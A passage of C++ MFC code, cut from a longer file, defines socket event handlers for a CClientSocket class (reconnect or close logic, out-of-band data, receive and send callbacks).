if(lpDlg->bPassFinished)lpDlg->CloseSocket(); //else if(lpDlg->bIsStop)return ; else lpDlg->ReConnect();} void CClientSocket::OnOutOfBandData(int nErrorCode) { CAsyncSocket::OnOutOfBandData(nErrorCode);} void CClientSocket::OnReceive(int nErrorCode) { lpDlg->ReceiveData(this);} void CClientSocket::OnSend(int nErrorCode) { CAsyncSocket::OnSend(nErrorCode);}

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